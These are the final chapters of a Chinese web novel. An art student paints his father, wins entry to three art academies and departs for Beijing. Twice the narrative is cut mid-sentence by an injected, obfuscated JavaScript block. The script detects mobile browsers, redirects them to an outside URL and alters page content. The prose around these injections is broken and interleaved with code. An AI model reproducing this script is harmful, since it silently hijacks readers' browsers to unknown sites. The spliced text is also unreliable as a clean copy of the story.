他画了碗。碗是普通的白瓷碗,边沿有一个小小的缺口,是父亲有一次洗碗的时候磕掉的。他把那个缺口画了出来,很小,在碗沿的右侧,像一个微型的月牙。碗里冒着热气,他用很轻很轻的线条画出那些热气的形状——弯弯曲曲的,像一条条透明的丝带,从碗里升起来,在父亲的胸前散开。 最后他画了背景。厨房的门框、走廊的墙壁、客厅的一角。他没有画得太细,只是用淡淡的线条勾了一个轮廓,让背景有一种若有若无的存在感——它在,但它不打扰。主体是父亲,是那碗面,是那双手,是那双眼睛。 线稿画完之后,他退后几步,看了看。纸上的人是他父亲,但不是全部的他。纸上只有他的轮廓、他的姿势、他的动作,但没有他的温度、他的气味、他的声音。这些东西画不出来,只能靠颜色去“染”——不是染在纸上,是染在人的心里。 他等线稿干了,开始铺色。他先把整张纸打湿——用大号的水彩笔蘸了清水,在纸面上来回刷,刷得均匀而快速。水渗进纸里,纸面变得湿润而柔软,像一块刚翻过的土地。然后他开始上色。 天空的颜色?没有天空。厨房在屋子里,头顶是天花板。天花板的颜色是白色的,但不是纯白,是带一点暖灰的白。他用熟褐加一点群青,再加大量的水,调出一种极淡的暖灰色,在画面的上半部分轻轻铺开。墙壁的颜色是米白色的,比天花板暖一些,用土黄加一点点赭石,再加大量的水。地面是水泥地,灰蓝色的,用群青加一点熟褐,水加得更多,让颜色淡到几乎看不见。 然后他画灶台。灶台是白色的瓷砖,但用了很多年,有些地方泛黄了,有些地方有油渍。他用淡黄色画出那些泛黄的地方,用淡赭石画出那些油渍,每一笔都很轻,像是在纸上轻轻地抚摸。灶台上的锅是银灰色的,用群青加一点黑色,水加得不多,让颜色浓郁一些,表现出金属的质感。锅里的油还在滋滋地响?他画不出来声音,但他可以用颜色去暗示那种温度——在锅的底部点上一小笔镉橙,让那里有一点点火的颜色。 他开始画父亲的衣服。父亲穿着那件深蓝色的毛衣——母亲织的那件。深蓝色不是一种颜色,是很多种颜色。在受光的地方,蓝色偏亮偏暖,他加了更多的水和一点点钴蓝;在背光的地方,蓝色偏暗偏冷,他加了更多的群青和一点点紫色。毛衣的纹理他用干笔触去表现,不是一根一根地画,而是用笔在纸面上快速地扫过,留下一条条断断续续的痕迹,像毛衣的纤维在光线下闪烁。 画到父亲的脸时,他的手又停了。每次画脸他都会停,不是因为难,是因为重要。脸是一个人的门面,是所有人第一眼看到的东西。脸画得像了,整幅画就活了;脸画得不像,其他地方画得再好也是死的。他拿起一支小号的水彩笔,蘸了清水,在父亲的脸部位置轻轻涂了一层水。然后他开始调皮肤的颜色——镉红加柠檬黄加大量的水,再加一点点群青降低纯度。这个配方他已经很熟悉了,画母亲的时候用的就是它。 他开始上色。在受光的地方——父亲的右脸、右额头、右颧骨——颜色偏暖偏亮,他加了更多的水和一点点柠檬黄。在背光的地方——父亲的左脸、左额头、左颧骨——颜色偏冷偏暗,他加了更多的群青和一点点熟褐。额头的皱纹他用小笔触点上一点赭石,顺着皱纹的方向,一笔一笔的,像在纸上刻下一道道浅浅的沟壑。眼角的皱纹他用更小的笔触,点得更轻,让那些细纹若有若无地存在,不仔细看几乎看不见。下巴的胡茬他用干笔触蘸了一点群青加黑色,在下巴的位置轻轻扫过,留下一层淡淡的青色,像早晨刚刮过胡子但下午又冒出来的那种青。 最难的是眼睛。父亲的眼睛不大,也不亮,甚至有点浑浊。但那双眼睛里有东西。有什么东西?张小五盯着手机里那张照片看了很久,终于看懂了。那双眼睛里有一种专注——不是看镜头的那种专注,是看碗里的面的那种专注。那种专注是父亲特有的,是他做 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画完脸之后,他画了父亲的手。这是他最自信的部分。他画过太多次父亲的手了,那些骨节、老茧、疤痕、指甲、指纹,他闭着眼睛都能画出来。但他没有闭着眼睛画,他睁着眼睛,一笔一笔地,像一个外科医生在做一台精细的手术。他用赭石画了那些老茧,用熟褐画了那些疤痕,用群青加黑色画了指甲缝里的水泥灰。他画了那只托碗底的手——手指张开,掌心向上,掌心的纹路像一张地图。他画了那只扶碗边的手——手指弯曲,扣在碗沿上,指节突出,像一节一节的竹子。 最后他画了那碗面。面是白色的,但不是纯白,是带一点米黄的白。他用淡黄色画了面条的底色,然后用干笔触蘸了一点熟褐,在面条上轻轻扫过,画出那些汤汁浸润过的痕迹。荷包蛋是金黄色的,蛋黄凸起来,蛋清摊开来,像一朵半开的花。他用柠檬黄加一点点镉橙画了蛋黄,用淡黄色加一点点白画了蛋清。热气他用留白的方式去表现——在面条和荷包蛋的上方,他不加任何颜色,让纸本身的白色去表现那些蒸腾的热气。他在热气的边缘轻轻扫过一层极淡的蓝色,让那些热气有一种温度的反差——热的东西在冷的背景里会显得更热,这是沈老师教他的。 画完了。他退后几步,看着整幅画。画上的父亲端着一碗面,从厨房走向客厅。他的身体微微前倾,双手捧着碗,像捧着一件易碎的瓷器。他的眼睛盯着碗里的面,专注而温柔。他的头发花白,脸上的皱纹像干裂的土地,但他的嘴角是弯着的——不是在笑,是一种放松的、自然的、不做任何表情的状态,但那种状态比笑更真实。他穿着那件深蓝色的毛衣,围着那条洗得发白的围裙,围裙上有一个被烟头烫的小洞。 灶台上的火还开着,锅里的油还在滋滋地响。案板上的葱花还没收拾,菜刀横在案板边上,刀刃上沾着葱汁。窗台上的抹布搭在那里,水滴一滴一滴地往下滴。厨房的门框上贴着一张褪色的福字,是去年春节贴的,还没撕掉。 这些细节,有些在照片里有,有些没有。没有的那些是他自己加进去的——葱花、菜刀、抹布、福字。不是为了让画面更丰富,而是为了让画面更真实。真实不是照抄现实,是把那些最能代表一个人的东西放进画面里。父亲不是孤立存在的,他生活在那个厨房里,和那些锅碗瓢盆、油盐酱醋、葱姜蒜末生活在一起。那些东西是他的一部分,就像他的手、他的脸、他的眼睛是他的一部分一样。 他在画面的右下角签上了自己的名字——不是“张小五”,是一个他用铅笔画的标记,一个小小的画架的形状,下面写着日期。这是他第一次在画上签名,不是为了让别人知道这是他的作品,而是为了告诉父亲:这是我画的,这是我为你画的。 他把画放在桌上,看了很久。画室里的灯光很亮,照在画面上,那些颜色在光线下显得更加通透,更加饱满。父亲的毛衣在光线下泛着一种温暖的蓝色,像深秋的天空。那碗面冒着热气,热气在灯光下几乎是透明的,但你能感觉到它的温度。父亲的眼睛盯着那碗面,专注而温柔,那种专注让他想起了小时候——那时候父亲也是这样看着他的,看着他吃饭,看着他画画,看着他睡觉。那种目光从来没有变过,只是他从没注意到。 他拿出手机,拍了一张照片,发给了父亲。这一次他配了文字:“爸,画完了。这是你。” 过了一会儿,父亲回了一条语音。他点开,听见父亲的声音,沙哑的,颤抖的,带着哭腔的。“小五,这是爸吗?爸有这么好看吗?”然后又来了一条。“爸没那么好看,你画得比爸好看多了。”然后又来了一条,这一条很短,只有几个字,但张小五听了三遍。“爸想你了。” 张小五握着手机,站在画室里,眼泪无声地滑了下来。他没有擦,就让眼泪流着,流到下巴,滴在衣服上。他不是难过,是感动。感动于父亲那句“爸想你了”,感动于这一个月来的所有挣扎和努力终于变成了一幅画,一幅能让父亲说“爸想你了”的画。 他把画从画板上取下来,小心翼翼地放进画筒里。他打算把这幅画也寄给父亲,和那幅母亲的一起,挂在客厅的墙上。一幅在左,一幅在右,中间是那封父亲写的信。那是他们一家三口的画廊,不大,只有一面墙,但那是全世界最好的画廊。 他把画筒放在床边,洗了脸,躺在床上。窗外的月亮很圆,很亮,挂在香樟树的树梢上,像一个巨大的银盘子。他看着那轮月亮,忽然想起父亲说过的一句话——“月亮不是每天都圆的,但它一直都在。” 今天月亮是圆的,它一直都在。父亲一直都在,母亲一直都在,那些爱一直都在。只是有时候藏在云后面,你看不见,但它们没有消失。它们在等,等云散开,等光透出来,等你抬头看见它们。 他闭上眼睛,嘴角弯了一下。 明天,他要把这两幅画寄出去。一幅寄给父亲,一幅寄给母亲。他们不在同一个城市,但他们会收到同一个儿子画的画。那些画会挂在不同的墙上,被不同的人看见,但它们来自同一个地方——他的心。他的心不大,但装得下父亲、母亲、周扬、陈雨桐、李老师、方老师、沈老师、周老师,还有那只橘色的胖猫。 他的心很大,大到可以装下全世界。 窗外,月亮慢慢地移动着,从香樟树的树梢移到了宿舍楼的屋顶。月光透过窗帘的缝隙照进来,在地上画了一条细细的白线。那条白线从窗户一直延伸到床边,像一条通往远方的路。 41. 远行 两幅画寄出去之后,张小五的生活被按下了快进键。 先是省里的水彩画展。他交了那幅《厨房里的光》,没有悬念地拿到了一等奖。颁奖那天,沈老师站在他旁边,看着那张获奖证书,只说了一句话:“你的颜色终于学会呼吸了。”然后是全国的比赛,他又投了一幅,这次画的是那只橘色的胖猫——蹲在雪地里,缩成一团,像一个毛茸茸的句号。拿了银奖。周老师在班上念成绩的时候,语气平淡得像在念天气预报,但张小五看见他的手在抖。 日子像流水一样往前淌。高一结束,高二开始。画室里的石膏像换了一批又一批,静物台上的水果从苹果变成橘子又变回苹果。张小五的铅笔越用越短,颜料越买越多,画架越摆越稳。他的素描进了年级前五,色彩进了年级前十,速写稳居前三。沈老师说他的进步是“肉眼可见”的——不是那种突然开窍的飞跃,而是一步一个脚印的、扎扎实实的、像树一样慢慢往上长的进步。 高二那年冬天,父亲来杭州看他。 这是张建国第一次出远门。他坐了一夜的火车,硬座,从北城到杭州,将近二十个小时。他到的时候是清晨,天还没亮,张小五去火车站接他。出站口的人流一波一波地涌出来,他找了好久才找到父亲——张建国穿着一件洗得发白的军大衣,手里提着一个蛇皮袋,站在柱子旁边,像一个走错片场的群众演员。他比过年时又瘦了一些,但精神很好,眼睛很亮,看到张小五的那一刻,脸上绽开了笑容。 “爸,你怎么不坐卧铺?”张小五接过蛇皮袋,重得很,不知道里面装了什么。 “卧铺贵。硬座挺好的,人不多,还能躺着。”张建国的声音很大,比他平时说话大了一倍,好像怕儿子听不见。 张小五没有拆穿他。二十个小时的硬座,腰不好的父亲是怎么熬过来的,他不去想。有些东西不能想,一想就心疼。 他带父亲去了学校,参观了画室、宿舍、食堂。张建国走在校园里,像一个进了大观园的刘姥姥,看什么都新鲜。他站在画室门口,看着那些石膏像,看了很久,然后说了一句:“这些白人长得都差不多,你怎么分得清?”张小五笑了,笑得眼泪都出来了。他给父亲讲解,这是大卫,那是维纳斯,这个是伏尔泰,那个是荷马。张建国听得似懂非懂,但一直点头,像一个认真的小学生。 中午他们在食堂吃饭。张小五打了四个菜,红烧肉、糖醋排骨、清炒时蔬、西红柿蛋汤,米饭管够。张建国吃得很慢,每一口都要嚼很久,像在品尝什么珍贵的东西。他吃着吃着,忽然停下来,看着张小五。 “小五,你胖了。” “嗯,食堂油水大。” “好。胖了好。以前太瘦了。” 张小五低下头,扒了一口饭。他不敢看父亲的眼睛,怕自己会哭。 下午,他带父亲去了西湖。张建国站在湖边,看着那片他只在儿子画里见过的水面,沉默了很久。湖面上有风,吹得他的头发乱糟糟的,花白的头发在阳光下像一根根银丝。他忽然伸出手,指着远处的保俶塔。 “那个塔,你画过。” “画过。” “画得比真的好看。” 张小五站在父亲旁边,没有说话。他看着父亲的侧脸,那张脸上的皱纹在西湖的柔光里变得柔和了一些,像一幅被岁月打磨过的油画。他想,也许有一天,他会画这幅画——父亲站在西湖边,背后是湖水,远处是塔,脸上是一种说不清的表情,像是满足,又像是遗憾,又像是某种终于放下的释然。 傍晚,他送父亲去火车站。候车室里,张建国把那个蛇皮袋打开,从里面拿出一样一样的东西——红枣、核桃、红薯干、自家腌的咸菜、两双棉袜、一条围巾。每一样都用塑料袋包得好好的,码得整整齐齐。 “红枣是隔壁王奶奶给的,她说给你补脑。核桃是你刘大爷送的,他说画画费脑子。红薯干是你妈晒的,她寄回来的,让我带给你。咸菜是爸腌的,不知道好不好吃,你尝尝。”张小五看着那些东西,喉咙像被什么东西堵住了。他想说“爸,不用带了,杭州什么都有”,但他说不出口。因为他知道,这些东西不是杭州没有,是父亲的心意。每一颗红枣、每一块核桃、每一根红薯干,都是父亲从牙缝里省下来的,从千里之外背过来的。 “爸,你路上小心。”他说,声音有点哑。 “没事。爸又不是小孩子。”张建国站起来,拍了拍裤子上的灰,提起蛇皮袋,“你回去吧,别送了。” 张小五没有回去。他站在候车室的玻璃窗前,看着父亲走进检票口,走下楼梯,消失在站台的人群里。火车开动了,窗外的站台开始往后退,然后是铁轨、信号灯、电线杆。他站在窗前,看着那列火车越来越远,最后变成一个点,消失在暮色里。 他把手伸进口袋,摸到父亲带来的那袋红枣。红枣很甜,甜得他想哭。 高三那年,所有人都像被上了发条。 张小五把画具从宿舍搬到了画室,每天从早画到晚,从晚画到早。他的黑眼圈越来越重,手指上的茧越来越厚,调色盘上的颜料越来越干。他画了无数张素描,无数张速写,无数张水彩。他把那些石膏像画了一遍又一遍,直到闭着眼睛都能画出大卫的每一缕卷发、维纳斯的每一寸肌肤、伏尔泰的每一条皱纹。 文化课也没落下。他把英语单词背到了第六遍,数学题做了上千道,语文古诗词默写了一遍又一遍。他的成绩从年级中游爬到了上游,虽然离那些学霸还有差距,但足够过美院的分数线了。方老师偶尔会打电话来,问他复习得怎么样。他说还行,方老师说“那就行”。周扬也会打电话来,每次都是同样的内容——“张小五,你他妈一定要考上!” 陈雨桐寄了一张明信片,上面是西湖的断桥,背面写着一行字:“我在北城等你回来。” 他把那张明信片贴在画室的墙上,和那些画放在一起。 三月份,美院的校考开始了。 张小五报了三个学校——中国美院、中央美院、清华美院。这是他梦里的三座山,他要一座一座地爬。校考的那段日子,他像一个不停旋转的陀螺,在杭州、北京、杭州、北京之间飞来飞去。火车票攒了一沓,每一张都皱巴巴的,像他那时候的心情。 考中国美院的那天,杭州下着雨。他撑着伞走进考场,裤腿湿了半截,鞋子里全是水。但坐下来拿起画笔的那一刻,他忘了所有的冷和湿。他的世界只剩下一张纸、一支笔、一个题目。题目是“门”。他画了父亲站在家门口的那扇门前面,手里提着一个蛇皮袋,正准备出门。门是旧的,漆皮剥落,门框上贴着褪色的春联。父亲的脸半明半暗,一半在门里的灯光下,一半在门外的晨光中。 考中央美院的那天,北京刮着大风。他裹着母亲织的那条围巾,站在校门口,看着那块写着“中央美术学院”的牌子,心跳得很快。他想起了周老师说的话——“央美是美术生的最高殿堂,你要想去,就得付出比别人多十倍的努力。”他不知道他有没有付出十倍的努力,但他知道,他已经付出了全部。考场的题目是“手”。他画了父亲的两只手,一只手托着碗底,一只手扶着碗边。和两年前那幅《手》不同,这一次他的手不再只是手了,它们是一个人的一生。 考清华美院的那天,北京下着雪。他站在清华园里,看着那些古老的建筑,觉得自己像一粒尘埃。但尘埃也有尘埃的梦想,他走进考场,拿起画笔,画了那幅《厨房里的光》的升级版。这一次他把整个厨房都画了进去——灶台、案板、水池、窗户、抹布、福字。父亲站在画面的中央,端着一碗面,热气蒸腾。那碗面是给谁煮的?给儿子。那个儿子此刻正坐在考场上,画着这碗面。 四月份,成绩陆续出来了。 中国美院,专业第三。中央美院,专业第五。清华美院,专业第七。张小五看着那些成绩,大脑一片空白。他坐在宿舍的床上,手里握着手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444037|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机,屏幕上是一个个数字——第三、第五、第七。这些数字像三颗星星,在他灰蒙蒙的天空里亮了起来。 他先给父亲打了电话。电话那头,张建国沉默了很久,然后说了一句话:“小五,你妈知道了没?”张小五说“还没”,他说“快告诉你妈”。 他给母亲打了电话。王秀兰正在上班,电话那头是缝纫机嗡嗡嗡的声音。听到消息后,缝纫机的声音停了。她哭了,哭得很厉害,一边哭一边说:“小五,妈就知道你能行。妈就知道。” 他又给周扬打了电话。周扬在电话那头尖叫了一声,尖得张小五不得不把手机拿远一点。“张小五!你他妈太牛了!三所学校全过!你还是人吗?”张小五笑了,笑得很轻,但那一刻,他觉得所有的苦都值了。 六月份,高考。 张小五坐在考场里,看着那张语文试卷,作文题目是“我的路”。他写了自己走过的路——从北城的城中村,到杭州的美院附中,到北京的三所美院。他写了父亲的手,母亲的眼泪,老师的教诲,朋友的陪伴。他写了那些深夜里的孤独,那些黎明前的坚持,那些在画纸上一笔一笔刻下的时光。 他写得很快,几乎没有停顿。因为那些字不是想出来的,是从心里流出来的。 七月份,录取通知书到了。 中国美院、中央美院、清华美院,三张通知书,三张纸,三条路。张小五坐在宿舍的床上,看着那三张通知书,看了很久。三张纸都很薄,但每一张都重如千斤。它们代表着他未来四年要去的地方,要见的人,要画的画。 他选了中央美院。不是因为它是“最好的”,是因为它在北京,离北城近一些,离父亲近一些。他想,如果父亲有什么事,他可以很快赶回去。虽然父亲说“你选你想去的,别管爸”,但他还是选了北京。 他把这个决定告诉了周老师。周老师点了点头,没有说话。他拿起烟,叼在嘴上,没点着,然后说了一句:“央美好。你去央美,以后别说是我教的。” 张小五笑了。他知道周老师在开玩笑,但那个玩笑里有骄傲。 八月份,他回了北城。 张建国站在家门口等他,手里举着一块纸板,上面写着“欢迎中央美术学院大学生张小五同学回家”。字写得还是歪歪扭扭的,但每一笔都写得很用力。那只橘色的胖猫蹲在脚边,胖得已经快走不动了,眯着眼睛,“喵呜”了一声。 张小五走过去,抱了抱父亲。父亲比他矮了,抱在怀里像一棵瘦削的树。但那个拥抱很紧,紧得他喘不过气。 “爸,我回来了。”他说。 “回来就好。”张建国说,声音有点哑。 那天晚上,王秀兰也从南方赶回来了。一家三口坐在那张旧沙发上,吃着张建国煮的面,看着电视里的重播节目。张小五坐在中间,左边是父亲,右边是母亲。他看看父亲,又看看母亲,觉得这一刻就是他一直想要的。不是什么功成名就,不是什么荣华富贵,就是这一刻——一家人坐在一起,吃一碗热乎乎的面,说几句简单的话。 他拿出画本,翻到新的一页,开始画。他画的是这一刻——父亲、母亲、他自己,三个人坐在沙发上,面前的茶几上摆着三碗面。面冒着热气,热气模糊了他们的脸,但他们的笑是看得见的。 画完之后,他在纸的右下角写了一行字。 “爸,妈,谢谢你们。” 他把画本合上,抱在怀里,看着窗外的月亮。月亮很圆,很亮,挂在那棵老槐树的树梢上。那只橘色的胖猫蹲在窗台上,舔着爪子,眯着眼睛,像一个毛茸茸的句号。 张小五笑了。他笑得很轻,嘴角只是微微弯了一下,但那一瞬间,他觉得所有的路都通了。从北城到杭州,从杭州到北京,从北京到任何他想去的地方。路很长,但他在走。走得很慢,但没停过。 窗外,月光很亮。 他把画本放在枕头底下,关了灯,闭上了眼睛。 42. 画下去 九月的第一天,张小五站在家门口,最后一次打量这间四十平米的老房子。 墙还是那面掉了墙皮的墙,裂纹从屋顶一直延伸到墙角,像一条干涸的河流。茶几还是那张有裂纹的茶几,透明胶带粘了一年又一年,胶带发黄了,但裂纹没有扩大。沙发还是那个弹簧坏掉的沙发,坐上去会往下陷,像一只张开嘴的怪兽。绿萝还是那盆快死了但没死的绿萝,叶子黄了大半,只有最中间的两片还是绿的,倔强地朝着窗户的方向伸着。 但墙上多了很多东西。三张获奖证书,两幅水彩画,一封裱在相框里的信。证书是铜奖、银奖、一等奖,画是《母亲》和《厨房里的光》,信是父亲写的那封——“小五,画收到了。爸看了很多遍。”这些东西把整面墙填得满满的,像一个小小的美术馆。 张小五把行李箱放在门口,书包背在肩上,画筒提在手里。他最后看了一眼这个家,然后转过身,走出门。 张建国站在楼道里,手里提着一个塑料袋,里面装着路上吃的——馒头、鸡蛋、苹果、一瓶水。他穿着那件深蓝色的毛衣,虽然九月的北城还很热,但他坚持要穿,说“送儿子上大学,要穿得体面一些”。 “爸,你穿这么多不热吗?” “不热。心静自然凉。” 张小五笑了。他接过塑料袋,和父亲一起走下楼梯。脚步声在空荡荡的楼道里回荡,六楼、五楼、四楼、三楼、二楼、一楼。每下一层,他的心就轻一点,不是离别的那种轻,是释然的那种轻。他不再害怕了,不再害怕离别,不再害怕未来,不再害怕那些未知的路。因为他知道,无论走多远,这个家都在这里,父亲都在这里,那只橘色的胖猫都会蹲在楼道口等他回来。 走到楼下,那只橘色的胖猫果然蹲在单元门口,眯着眼睛,舔着爪子。它已经老得走不动了,每天就蹲在这里,像一个守门人。张小五蹲下来,摸了摸它的头,毛还是很软,很暖,肚子还是很圆,像一个毛茸茸的皮球。 “我走了。”他说,“你好好看家。” 橘猫“喵呜”了一声,蹭了蹭他的手心,然后站起来,跟在他后面,走了几步,又停下来,蹲在花坛边上,看着他的背影。 张小五走出巷子,回过头,看见那只猫还蹲在那里,像一个橘色的点,在晨光里闪闪发光。他朝它挥了挥手,然后转过身,和父亲一起走向公交站。 公交车上人不多,他们找了最后一排的位置坐下。张小五靠着车窗,看着窗外的街景一点一点地往后退。那条老街、那个包子铺、那棵梧桐树、那个文具店、那所学校——所有的东西都在往后退,像一帧一帧被抽走的画面。他要走了,去北京,去中央美院,去那个他梦了无数年的地方。但他知道,这些东西不会消失,它们会一直在这里,等他回来。 “爸,你一个人在家,要好好吃饭,好好吃药,按时复查。”张小五说。 “爸知道。” “别舍不得花钱,没钱了跟我说,我想办法。” “爸知道。” “那只猫你帮我喂着,别让它饿着。” “爸知道。” 张小五看着父亲,父亲看着窗外。阳光照在父亲花白的头发上,那些银丝在光线下像一根根细小的灯丝,微微发亮。他的侧脸很安静,嘴角微微弯着,像是在笑,又像是在忍着什么。张小五忽然想起小时候,父亲也是这样送他上学的。那时候他刚上一年级,第一天去学校,紧张得手心冒汗。父亲送他到校门口,蹲下来,帮他理了理衣领,说“好好读书”。他点了点头,走进了校门,走了几步,回过头,看见父亲还站在那里,朝他挥手。那时候的父亲还很年轻,头发是黑的,腰是直的,脸上没有皱纹,眼睛里全是光。 现在,父亲老了。头发白了,腰弯了,脸上全是皱纹,但眼睛里的光没有灭。那光还在,比以前更亮,更暖,更像一盏灯。 火车站到了。 张小五和父亲走进候车室,找了一个位置坐下。候车室里人很多,都是赶着开学的大学生,有的拖着行李箱,有的背着大包小包,有的在跟父母自拍,有的在哭。张小五看着他们,想起两年前自己去杭州时的样子。那时候他也是一个人,拖着行李箱,背着画筒,心里满是不安和恐惧。现在他不一样了,他不再害怕了,因为他知道,无论走到哪里,他都能画,都能活,都能找到属于自己的光。 “爸,你回去吧。”张小五说。 “不急。等你上车了,爸再走。” 广播响了:“开往北京方向的T××次列车开始检票。” 张小五站起来,背好书包,提起画筒。张建国也站起来,帮他理了理衣领,把围巾围好。九月的北城不冷,但他还是把围巾围上了,因为那是母亲织的,戴着它就等于带着母亲。 “到了打电话。”张建国说。 “好。” “别省钱,该吃吃,该喝喝。” “好。” “有什么事给爸打电话,爸手机二十四小时开机。” 张小五点了点头,转过身,走向检票口。走了几步,他停下来,回过头。父亲还站在原地,双手插在口袋里,背微微弯着,像一棵被风吹弯的树。他看见张小五回头,朝他挥了挥手。 张小五也挥了挥手,然后转过身,走进了检票口。 他走过天桥,走下楼梯,找到自己的车厢,放好行李,坐下来。座位是靠窗的,他喜欢靠窗,因为可以看到外面的风景。他把画筒放在膝盖上,书包抱在怀里,等着火车开动。 火车开了。窗外的站台开始往后退,然后是铁轨、信号灯、电线杆、田野、房屋、树木。所有的东西都在往后退,快得像电影的快进镜头。张小五靠着车窗,看着那些熟悉的风景一点一点地消失,被陌生的风景取代。北城的灰黄变成了华北的平原,平原变成了山丘,山丘变成了隧道。火车在隧道里穿行,窗外一片漆黑,只有车窗上映出他自己的脸。 他看着那张脸,觉得陌生。那张脸比以前瘦了,但轮廓更分明了;眼睛比以前更深了,但更亮了;嘴角比以前更平了,但微微上翘,像总是在笑。那是一张十五岁的脸,也是一张十八岁的脸。三年了,他从一个瘦小的、自卑的、连话都不敢大声说的初中生,变成了一个即将进入中国最高美术学府的大学生。这三年里,他画了上千张画,用了上百支铅笔,几十管颜料,十几本画本。他哭过,笑过,绝望过,希望过,放弃过,坚持过。他把所有的自己都画进了那些画里,那些画也把他画成了现在的样子。 他拿出画本,翻到新的一页,开始画。他画的是窗外的风景——不是那些飞速后退的山和树,而是那些看不见的东西。他画了父亲的手,那双骨节突出、布满老茧、指甲缝里有水泥灰的手。他画了母亲的眼睛,那双又大又亮、里面藏着泪水和光的眼睛。他画了周扬的笑,那张圆圆的脸上永远挂着的傻笑。他画了陈雨桐的小虎牙,那两颗小小的、白白的、像两颗珍珠一样的牙齿。他画了李老师的背影,她站在讲台上,手里拿着画笔,正在示范水彩技法。他画了方老师的眼镜,那副厚厚的、圆圆的、像啤酒瓶底一样的眼镜。他画了沈老师的温柔,周老师的严厉,陆一鸣的咋呼,林子涵的安静,欧阳逸飞的臭屁。他画了那只橘色的胖猫,那棵歪脖子老槐树,那条臭烘烘的护城河,那个四十平米的老房子。 他画了很久,画到手指发酸,画到眼睛发花,画到整本画本都快画满了。他画完之后,一页一页地翻过去,从第一页到最后一页。第一页是那条金鱼,尾巴歪歪扭扭的,但整条鱼像是在游动。那是他十三岁时画的,在超市广告纸的背面,用一截短得捏不住的铅笔。最后一页是刚才画的那些,那些手、眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444038|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、笑、牙齿、背影、眼镜、温柔、严厉、咋呼、安静、臭屁、猫、树、河、房子。中间的那些页,是他三年来的全部——父亲的病,母亲的眼泪,老师的教诲,朋友的陪伴,那些深夜里的孤独,那些黎明前的坚持,那些在画纸上一笔一笔刻下的时光。 他把画本合上,抱在怀里,闭上眼睛。 火车在铁轨上轰隆轰隆地响着,带着他和他的画本,带着他的平安符和他的记忆,带着父亲的叮嘱和母亲的眼泪,带着所有人的祝福和期望,驶向北京,驶向中央美院,驶向那个他还要走四年的地方。 他又走进了那间很大的画室,四面墙都是窗户,阳光从各个方向涌进来。画室里没有石膏像,没有静物,没有模特,只有一面巨大的白墙,和一支靠在墙边的画笔。他走过去,拿起那支画笔,发现它很轻,轻得像一根羽毛。他用它在那面白墙上画了一个圆。不是月亮,不是太阳,是一个句号。 不,不是句号。是一个新的开始。 他放下画笔,转过身,看见那间画室里站满了人。父亲、母亲、周扬、陈雨桐、李老师、方老师、沈老师、周老师、陆一鸣、林子涵、欧阳逸飞,还有那只橘色的胖猫,都站在他身后,看着他。他们的脸上都带着笑,眼睛里都有光。 张小五看着他们,笑了。他笑得很轻,嘴角只是微微弯了一下,但那一瞬间,他觉得这间画室就是全世界,而全世界都在他身后。 他睁开眼。 火车还在开,窗外的风景已经从山丘变成了平原。远处有一座城市,高楼林立,在阳光下闪闪发光。那是北京,他的下一站。他不知道北京是什么样的,不知道中央美院是什么样的,不知道未来是什么样的。但他不害怕,因为他知道,无论前方是什么,他都会画下去。 画下去,直到画不动的那一天。 火车进站了。张小五站起来,背好书包,提起画筒,走下了车厢。站台上人来人往,都是和他一样的人——背着行李,怀揣梦想,走向这座巨大的城市。他站在站台上,深吸一口气,空气里有铁轨的味道、机油的味道、还有一点点远方带来的、陌生的、但让人兴奋的味道。 他走出火车站,站在广场上,仰起头,看着天空。北京的九月,天很高,很蓝,蓝得透明,像一块巨大的画布。有几朵云飘过去,慢悠悠的,像几只白色的帆船。 他低下头,拿出手机,给父亲发了一条消息:“爸,到了。北京很好。” 又给母亲发了一条:“妈,到了。你放心。” 又给周扬发了一条:“周扬,我到北京了。你什么时候来?” 周扬秒回:“周末!你等着,我带你去吃烤鸭!” 又给陈雨桐发了一条:“雨桐,我到北京了。谢谢你。” 陈雨桐回了一个笑脸,后面跟着一朵花。 张小五把手机放进口袋,背好书包,提起画筒,走向地铁站。阳光很好,照在他身上,暖洋洋的。他走在阳光里,影子被拉得很长很长,像一个巨人。 他走进地铁站,消失在人群里。 故事到这里就结束了。但张小五的故事还在继续,在北京,在中央美院,在那些他还没有画出来的画里。他还会遇到新的老师,新的朋友,新的挑战。他还会哭,还会笑,还会绝望,还会希望。他还会在深夜里一个人坐在画室里,对着空白的画纸发呆。他还会在黎明前爬起来,赶在阳光照进窗户之前画下第一笔。他还会画那些他想画的东西——父亲的手,母亲的眼睛,朋友的微笑,城市的风景,人间的冷暖。 他会一直画下去。 因为他是张小五。 一个从北城城中村走出来的孩子,一个用画笔对抗命运的少年,一个永远不会停下的人。 画下去,张小五。 画下去。 (全文完)